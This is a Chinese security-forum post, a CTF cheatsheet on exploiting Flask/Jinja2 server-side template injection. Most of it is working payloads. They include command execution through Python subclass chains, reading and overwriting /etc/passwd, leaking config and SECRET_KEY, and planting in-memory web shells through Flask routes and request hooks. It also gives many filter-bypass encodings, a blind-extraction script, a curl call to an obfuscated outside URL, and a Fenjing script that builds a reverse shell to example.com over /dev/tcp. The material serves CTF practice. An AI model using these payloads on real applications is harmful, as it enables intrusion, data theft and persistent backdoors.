首页
社区
课程
招聘
[原创]【CTF】Flask SSTI姿势与手法总结 Cheatsheet速查表
发表于: 2025-2-17 10:27 3853

[原创]【CTF】Flask SSTI姿势与手法总结 Cheatsheet速查表

2025-2-17 10:27
3853

背景介绍

SSTI,又称服务端模板注入。其发生在MVC框架中的view层。

服务端接收了用户的输入,将其作为Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,导致了敏感信息泄露、代码执行、GetShell 等问题。

本文总结了一系列Flask的模板注入利用方式,类似于Cheatsheet(速查表),可能需要一点SSTI的基础。难免存在描述不准确的情况,请提出修改意见~

继承链流程

通过访问Python内部属性,获取可以执行命令的库和函数。

  1. 获取实例对象的类
  2. 获取该类的祖先类object
  3. 获取object的子类
  4. 选取__init__为函数的类
  5. 获取其__globals__属性的__builtins__
  6. 使用内置的类执行代码或导包后执行命令

Python内部属性:

1
2
3
4
5
6
7
8
9
10
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__  使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

获取object类

python的object类是所有类的基类,可以通过__mro____bases__两种方式来访问到object。

__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。

1
2
3
4
5
().__class__.__mro__[1]
{}.__class__.__mro__[1]
[].__class__.__mro__[1]
''.__class__.__mro__[1]#python3
''.__class__.__mro__[2]#python2

__base__属性可以获取该类的基类,可以叠加使用。

1
2
3
4
5
().__class__.__base__
{}.__class__.__base__
[].__class__.__base__
''.__class__.__base__ # python3
''.__class__.__base__.__base__ # python2

__bases__属性可以获取多继承的基类元组。

1
2
3
4
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0] # python3

获取子类列表

然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。

1
().__class__.__bases__[0].__subclasses__()

找到__init__为函数的类。

在获取初始化属性后,寻找不带warpper的,wrapper是指这些函数并没有被重载,function,不具有__globals__属性。

1
2
3
4
l=len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
    if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
        print(i,[].__class__.__mro__[1].__subclasses__()[i])

或者使用func_globals

RCE

常见的三种利用方式

__builtins__

1
2
3
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()

linecache

1
2
3
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls')

sys

1
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami')

信息泄露

泄漏环境变量等配置

1
2
3
4
5
6
7
8
9
10
11
{{config}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
 
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
 
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}}
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

文件读取

python2

1
2
3
4
5
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
 
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
 
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

python3

1
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

文件写入

python2

1
2
3
4
5
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd','w').write('test')}}
 
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd','w').write('test')
 
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd','w').write('test')

内存马

add_url_rule

提供了一个执行命令的路由

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

before_request_funcs

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read())")}}

after_request_funcs

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

error_handler_spec

1
{{url_for.__globals__['__builtins__']["exec"]("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

WAF绕过

盲注

通过回显内容的真假爆破字符串

1
2
3
4
5
{%for char in get_env(name="SECRET_KEY")%}
{%if char is matching('') %}1
{%else%}0
{%endif%}
{%endfor%}

示例脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import string
import time
import requests
 
url = "https://ip:port/"
s = string.printable
 
def ssti(re):
    payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    result = requests.post(url, data=payload, headers=headers, verify=False).text
    if "1" in result:
        print(re, result)
        return re
    return ""
 
for i in s:
    time.sleep(0.5)
    ssti(i)

jinja2过滤器

attr

用于获取变量属性

1
2
''|attr('__class__')
>> ''.__class__

format

1
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'

first last random

1
2
3
|last() => [-1]
|first() => [0]
|random() => [?]

join

1
2
3
4
{{[1,2,3]|join('|')}}
>> 1|2|3
{{[1,2,3]|join}}
>> 123

lower

1
""["__CLASS__"|lower]

replace reverse

1
2
'__claee__'|replace('ee','ss')
'__ssalc__'|reverse

string

1
2
().__class__ => <class 'tuple'>
(().__class__|string)[0] => <

select

1
2
()|select|string
>> '<generator object select_or_reject at 0x0000022717FF33C0>'

list

转换为列表

过滤关键词

字符串拼接

加号是多余的

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}

引号

1
{{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}

__getattribute__同时绕过中括号

1
''.__getattribute__('__class__')

切片

1
"__ssalc__"[::-1]

编码

base64(python2)

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}

Unicode

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}

16进制

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

8进制

1
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

format

1
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)

chr

1
2
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

~

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

大小写

1
''['__CLASS__'.lower()]

过滤[]

调用方法来获取属性

列表方法

__getitem__
pop

1
2
list.__getitem__(0)
list.pop(0)

字典方法

__getitem__
pop
get
setdefault

1
2
3
4
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
1
{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
1
{{''.__class__.__mro__.pop(1).__subclasses__().pop(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}

过滤引号

request

request.args和request.values

1
{{[].__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami

chr

1
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

过滤.

点等价于__getattribute__

1
''.__getattribute__('__class__')

[]

1
{{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval'](request.args.v1)}}

|attr

1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

过滤_

request

1
{{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

过滤{{}}

if

1
{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl 16eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2^5P5q4)9J5k6i4S2^5P5q4)9J5k6i4S2^5P5q4)9J5k6i4S2^5P5q4)9K6b7e0p5J5x3K6b7#2i4K6u0r3i4K6y4r3K9g2)9K6c8q4)9$3x3s2N6Z5L8$3q4E0K9g2)9$3x3l9`.`.").read()') %}1{% endif %}

print

1
{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}

长度绕过

1
2
{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}

Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}
配合字典的 update() 方法来更新 config 全局对象

1
2
3
4
5
6
7
{{config}}
{%set x=config.update(l=lipsum)%}
{%set x=config.update(u=config.update)%}
{%set x=config.u(g=request.args.a)%}&a=__globals__
{%set x=config.u(o=lipsum[config.g].os)%}
{%set x=config.u(f=config.l[config.g])%}
{{config.f.os.popen('cat /f*').read()}}

自动化脚本

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
现在很多选手直接用脚本梭了,出题人表示很难绷。希望大家还是先学习前面的技术,再考虑使用脚本。

1
2
fenjing webui
fenjing scan --url 'http://xxxx:xxx'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
 
def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word in s for word in blacklist)
 
if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)
 
    print(f"{shell_payload=}")
    print(f"{config_payload=}")

后记

本文参考了较多师傅们的利用手法,欢迎来认领(好多找不到出处)
引用与参考链接:

  • 4f2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6%4k6h3u0Q4x3V1j5K6y4e0V1K6z5e0u0Q4x3X3g2Z5N6r3#2D9
  • e53K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4U0t1J5y4l9`.`.

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2025-2-20 13:09 被M3thy1编辑 ,原因: 优化代码块排版
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回